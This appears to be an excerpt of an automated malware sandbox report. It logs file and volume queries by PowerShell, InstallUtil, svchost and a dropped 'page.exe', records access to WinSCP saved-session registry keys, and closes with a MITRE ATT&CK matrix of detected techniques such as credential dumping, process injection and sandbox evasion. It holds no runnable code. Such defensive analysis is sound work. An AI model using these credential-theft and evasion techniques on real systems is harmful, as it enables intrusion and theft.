Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Queries volume information: C:\Users\user\AppData\Roaming\page.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\page.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Roaming\page.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	121 Windows Management Instrumentation	111 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	211 Process Injection	11 Deobfuscate/Decode Files or Information	1 Input Capture	34 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Obfuscated Files or Information	1 Credentials in Registry	321 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	151 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	151 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement